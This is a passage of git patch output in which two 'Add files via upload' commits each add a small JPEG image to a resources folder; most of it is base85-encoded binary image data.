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 Date: Sun, 10 Jan 2021 22:31:58 +0530 Subject: [PATCH 460/838] Add files via upload --- resources/photo_2021-01-10_22-29-16.jpg | Bin 0 -> 12339 bytes 1 file changed, 0 insertions(+), 0 deletions(-) create mode 100644 resources/photo_2021-01-10_22-29-16.jpg diff --git a/resources/photo_2021-01-10_22-29-16.jpg b/resources/photo_2021-01-10_22-29-16.jpg new file mode 100644 index 0000000000000000000000000000000000000000..207ae1516c153342d3630fa97f497afcd0071494 GIT binary patch literal 12339 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 Date: Sun, 10 Jan 2021 22:32:52 +0530 Subject: [PATCH 461/838] Add files via upload --- resources/IMG_20200929_103719_628.jpg | Bin 0 -> 12339 bytes 1 file changed, 0 insertions(+), 0 deletions(-) create mode 100644 resources/IMG_20200929_103719_628.jpg diff --git a/resources/IMG_20200929_103719_628.jpg b/resources/IMG_20200929_103719_628.jpg new file mode 100644 index 0000000000000000000000000000000000000000..207ae1516c153342d3630fa97f497afcd0071494 GIT binary patch literal 12339 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 